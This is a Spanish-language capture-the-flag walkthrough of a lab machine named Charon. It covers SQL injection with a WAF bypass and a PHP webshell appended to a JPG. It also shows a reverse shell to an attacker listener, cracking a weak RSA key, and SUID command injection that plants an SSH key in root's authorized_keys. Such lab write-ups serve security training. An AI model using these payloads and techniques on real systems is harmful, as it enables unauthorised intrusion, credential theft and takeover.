Conocimientos
-
Inyección SQL
-
WAF Bypassing
-
Arbitrary File Upload
-
Reto criptográfico - Creación de id_rsa
-
Uso de Ghidra
-
LFI (Escalada) [EXTRA]
-
Abuso de binario SUID (Escalada de Privilegios)
Reconocimiento
Escaneo de puertos con nmap
Descubrimiento de puertos abiertos
nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.10.31 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-10 15:08 GMT
Nmap scan report for 10.10.10.31
Host is up (0.24s latency).
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 27.43 seconds
Escaneo de versión y servicios de cada puerto
nmap -sCV -p22,80 10.10.10.31 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-10 15:09 GMT
Nmap scan report for 10.10.10.31
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 09c7fba24b531a7af3305eb86eec83ee (RSA)
| 256 97e0ba9617d4a1bb3224f4e515b48aec (ECDSA)
|_ 256 e89e0b1ce72db6c968467cb332eae9ef (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Frozen Yogurt Shop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.20 seconds
Puerto 80 (HTTP)
Con whatweb analizo las tecnologías que está empleando el servidor web
whatweb http://10.10.10.31
http://10.10.10.31 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.31], PoweredBy[:], Script[text/javascript], Title[Frozen Yogurt Shop]
La página principal se ve así
Aplico fuzzing para descubrir rutas
gobuster dir -u http://10.10.10.31/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.31/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2023/02/10 15:31:04 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 311] [--> http://10.10.10.31/images/]
/css (Status: 301) [Size: 308] [--> http://10.10.10.31/css/]
/js (Status: 301) [Size: 307] [--> http://10.10.10.31/js/]
/include (Status: 301) [Size: 312] [--> http://10.10.10.31/include/]
/fonts (Status: 301) [Size: 310] [--> http://10.10.10.31/fonts/]
/.php (Status: 403) [Size: 290]
/cmsdata (Status: 301) [Size: 312] [--> http://10.10.10.31/cmsdata/]
Busco por archivos PHP dentro de /cmsdata
gobuster dir -u http://10.10.10.31/cmsdata -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.31/cmsdata
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2023/02/10 15:32:42 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 319] [--> http://10.10.10.31/cmsdata/images/]
/login.php (Status: 200) [Size: 6426]
/scripts (Status: 301) [Size: 320] [--> http://10.10.10.31/cmsdata/scripts/]
/menu.php (Status: 302) [Size: 0] [--> login.php?err=2]
/upload.php (Status: 302) [Size: 0] [--> login.php?err=2]
/css (Status: 301) [Size: 316] [--> http://10.10.10.31/cmsdata/css/]
/js (Status: 301) [Size: 315] [--> http://10.10.10.31/cmsdata/js/]
/include (Status: 301) [Size: 320] [--> http://10.10.10.31/cmsdata/include/]
/forgot.php (Status: 200) [Size: 6322]
Hay un panel de inicio de sesión
Tiene una sección para restablecer la contraseña
Paso por BurpSuite la petición, y le introduzco una comilla. Parece que es vulnerable a SQLi
Enumero las columnas. En total hay cuatro. El error es diferente cuando introduzco este valor
Intento aplicar un ordenamiento, pero me devuelve un error y no puedo ver los campos
Al hacer un ' or 1=1 limit 0,1-- -
se filtra información
Voy iterando por cada posición desde el intruder de BurpSuite y encuentro dos usuarios válidos
De alguna forma tengo que bypassear el WAF. En PayloadAllTheThings explican formas de hacerlo. Al cambiar varios caracteres de minúscula a mayúscula, devuelve otro error, debido a que interpreta que no le estoy pasando un correo
Introduzco en todos los campos correos. Ahora puedo ver reflejado en la respuesta mi input, por lo que quiero pensar que al menos un campo es inyectable, y puedo dumpear datos
Ocurre para el segundo
Puedo ver el nombre de la base de datos
Pero el resto de la forma convencional no, porque no pasa la validación del correo
Si lo anido en una nested query con un group_concat, la cosa cambia
Extraigo las tablas
Y las columnas para operators
Me quedo con los usuarios y contraseñas, pero no están todas. Seguramente no se puedan mostrar de golpe, por lo que es mejor eliminar con expresiones regulares todos aquellos que empiezan por ‘t’
Se puede hacer desde la propia inyección
Crackstation encuentra la contraseña de los dos hashes
Me puedo loggear en el CMS
Estoy como Administrador
Puedo subir una imagen
image.png
Trato de subir una webshell
<?php
shell_exec($_REQUEST['cmd']);
?>
Pro me salta una alerta diciendo que la extensión no es válida
Al cambiársela, si que puedo intentar subirlo, pero sigue detectando que no es una imagen
En la respuesta hay una cadena en base64 oculta
echo dGVzdGZpbGUx | base64 -d; echo
testfile1
Intercepto la respuesta con BurpSuite y le quito los comentarios, para que carge en el Firefox
Me aparece un nuevo campo donde puedo escribir
Se encarga de indicar el nombre con el que se quiere almacenar el archivo (Lo probé con una imagen JPG)
Agrego una regla en BurpSuite para que automáticamente active el campo
A la imagen JPG que descargué de Google, le añado al final un oneliner de PHP que se encargue de ejecutar comandos a través del parámetro CMD. La web me lo va a interpretar, ya que pasa todas las validaciones
Me envío una traza ICMP y la recibo
tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
18:06:20.866807 IP 10.10.10.31 > 10.10.16.5: ICMP echo request, id 1991, seq 1, length 64
18:06:20.866869 IP 10.10.16.5 > 10.10.10.31: ICMP echo reply, id 1991, seq 1, length 64
Como tengo conectividad con mi equipo, pruebo a enviarme una reverse shell
Y obtengo una reverse shell
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.31] 50234
bash: cannot set terminal process group (1330): Inappropriate ioctl for device
bash: no job control in this shell
www-data@charon:/var/www/html/freeeze/images$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@charon:/var/www/html/freeeze/images$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
www-data@charon:/var/www/html/freeeze/images$ export TERM=xterm
www-data@charon:/var/www/html/freeeze/images$ export SHELL=bash
www-data@charon:/var/www/html/freeeze/images$ stty rows 55 columns 209
www-data@charon:/var/www/html/freeeze/images$ hostname -I
10.10.10.31 dead:beef::250:56ff:feb9:6953
Encuentro credenciales de acceso a la base de datos
www-data@charon:/var/www/html/freeeze/include$ cat __config.php
<?php
$dbuser="freeeze";
$dbpass="fr2424z";
$dbhost="localhost";
$dbname="freeeze";
?>
La enumero, pero no encuentro nada que me sirva
Puedo acceder al directorio personal del usuario decoder
www-data@charon:/home/decoder$ ls -la
total 36
drwxr-xr-x 3 decoder freeeze 4096 Aug 16 16:46 .
drwxr-xr-x 3 root root 4096 Aug 16 16:46 ..
lrwxrwxrwx 1 root root 9 Aug 16 15:49 .bash_history -> /dev/null
-rw-r--r-- 1 decoder freeeze 220 Sep 1 2015 .bash_logout
-rw-r--r-- 1 decoder freeeze 3764 Jun 25 2017 .bashrc
drwx------ 2 decoder freeeze 4096 Aug 16 16:46 .cache
-rw-r--r-- 1 decoder freeeze 654 Jun 25 2017 .profile
-rw-r--r-- 1 decoder freeeze 138 Jun 23 2017 decoder.pub
-rw-r--r-- 1 decoder freeeze 32 Jun 23 2017 pass.crypt
-r-------- 1 decoder freeeze 33 Feb 10 15:53 user.txt
Puedo leer varios archivos. Uno de ellos parece una clave pública RSA (Muy pequeña, se puede tratar de romper)
www-data@charon:/home/decoder$ cat decoder.pub
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhALxHhYGPVMYmx3vzJbPPAEa10NETXrV3
mI9wJizmFJhrAgMBAAE=
-----END PUBLIC KEY-----
También hay una contraseña encriptada
www-data@charon:/home/decoder$ cat pass.crypt | xxd
00000000: 9932 4fad 5362 89a1 e2d1 8dd0 2265 cd7f .2O.Sb......"e..
00000010: 1557 9d67 9c89 dd19 54c8 c56f 378d 1149 .W.g....T..o7..I
Con la librería Crypto de python, se pueden obtener los valores “q”, “p”, “n” y “d”, necesarios para obtener la id_rsa
python3
Python 3.10.9 (main, Dec 7 2022, 13:47:07) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.PublicKey import RSA
>>> f = open("id_rsa.pub", "r")
>>> key = RSA.importKey(f.read())
>>> key.n
85161183100445121230463008656121855194098040675901982832345153586114585729131
Utilizo factordb para factorizar “n” y obtener “p” y “q”
Creo un script en python que se encargue de realizar toda la operatoria
from Crypto.PublicKey import RSA
f = open("id_rsa.pub", "r")
key = RSA.importKey(f.read())
n = key.n
e = key.e
p = 280651103481631199181053614640888768819
q = 303441468941236417171803802700358403049
d = pow(key.e, -1, (p-1)*(q-1))
id_rsa = RSA.construct((n, e, d, p, q))
print(id_rsa.exportKey().decode())
Y obtengo la id_rsa
python3 rsa_generator.py
-----BEGIN RSA PRIVATE KEY-----
MIGsAgEAAiEAvEeFgY9UxibHe/Mls88ARrXQ0RNetXeYj3AmLOYUmGsCAwEAAQIg
LvuiAxyjSPcwXGvmgqIrLQxWT1SAKVZwewy/gpO2bKECEQDTI2+4s2LacjlWAWZA
A2kzAhEA5Eizfe3idizLLBr0vsjD6QIRALlM92clYJOQ/csCjWeO1ssCEQDHxRNG
BVGjRsm5XBGHj1tZAhEAkJAmnUZ7ivTvKY17SIkqPQ==
-----END RSA PRIVATE KEY-----
Con openssl puedo obtener la contraseña en texto claro
openssl pkeyutl -decrypt -inkey id_rsa < pass.crypt; echo
nevermindthebollocks
Me puedo convertir en decoder y ver la primera flag
www-data@charon:/home/decoder$ su decoder
Password:
decoder@charon:~$
decoder@charon:~$ cat user.txt
fdd46eeb0ed6217d05327bf64110af67
Escalada
Hay un binario SUID que no es UNIX
decoder@charon:/$ find \-perm -4000 2>/dev/null | head -n 1
./usr/local/bin/supershell
Lo transfiero a mi equipo, y con Ghidra veo en que consiste la función main
Se está llamando a otra función que se encarga de comparar la cadena que se le pasa como primer parámetro. En caso de que este vacía, contenga alguno de esos caracteres especiales o el tamaño sea igual el valor de la cadena pasado a entero, el programa no avanza. Si todo va bien, se hará una llamada al /bin/ls
Si mi input de usuario es /bin/ls
, entonces se ejecutará el comando. En caso contrario, se llama a la función __stack_chk_fail()
, que a su vez hace referencia a halt_baddata()
Esto se encarga de ir sumando valores a un buffer. Nada relevante. Como solo se está valorando lo que se le pasa como primer argumento, podría intentar en el segundo ejecutar un comando a nivel de sistema. Pero solo se le puede pasar uno. En caso de que se produzca un error, si interpreta como argumento ese comando puedo incluir archivos locales
decoder@charon:/$ supershell /bin/ls $(whoami)
Supershell (very beta)
usage: supershell <cmd>
Para bypassearlo, puedo encapsularlo todo entre comillas simples
decoder@charon:/$ supershell '/bin/ls $(cat /root/root.txt)'
Supershell (very beta)
++[/bin/ls $(cat /root/root.txt)]
/bin/ls: cannot access 'fb23613b3e8a8435392b44501b962b93': No such file or directory
Para obtener una shell, metí mi clave pública en las authorized_keys
decoder@charon:/tmp$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCji8ibO+QRRqf4hWb7EJLmqidhSvKIjV1U+qi910slj9DBWUktU2Z6dX+QBJHm1kiHbUFsxx4r3PQEUqS3BvWEOjZlORb2ee0RDbfNvJpxhsispuDAMaZpalyF/0I+gyYtvKLqUBmn8FSx4A
xcE/hsiLDAD9s/xjbMAljzJB+D1UUPHeFy7QVETaG3+kQooId6OkWGzpb1KzZbFYVNspcMLfJPSsqOc3Mgvzvnbo7YJ2Lgrx1Wkct5qMWWq6A8Mc0hSu3jp6ZRqgQdua/jwzdUOGlYSA85goIyGnDD1a7x0g4+fZ3hqNDyPzO+DliSrdmHnPR1btN9Dsq3OC72+TxUSbu46YnKVC8
hEhcTjSQ5r7AdcQ3tTZD7MR1V7wVlD4yuWBPVHBn7yDshXdqaMAvZtdjH/+0jWiBvoB3p0tEEAbkWILKjkR0DHeuAQwFytpLyxR4jZFaIE8FoZHV/5NHJevmgRRsGi0m3AGwIXUDY1fDoi35gLhaa17hjAbU+LEc= root@kali' > authorized_keys
decoder@charon:/tmp$ supershell '/bin/ls $(cp authorized_keys /root/.ssh/)'
Supershell (very beta)
++[/bin/ls $(cp authorized_keys /root/.ssh/)]
authorized_keys systemd-private-7a40c9a95480495ebc11580131c969f2-systemd-timesyncd.service-Xy6Q0r vmware-root
Y gano acceso por SSH
ssh root@10.10.10.31
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-81-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
34 packages can be updated.
23 updates are security updates.
Last login: Tue Aug 16 15:45:23 2022
root@charon:~#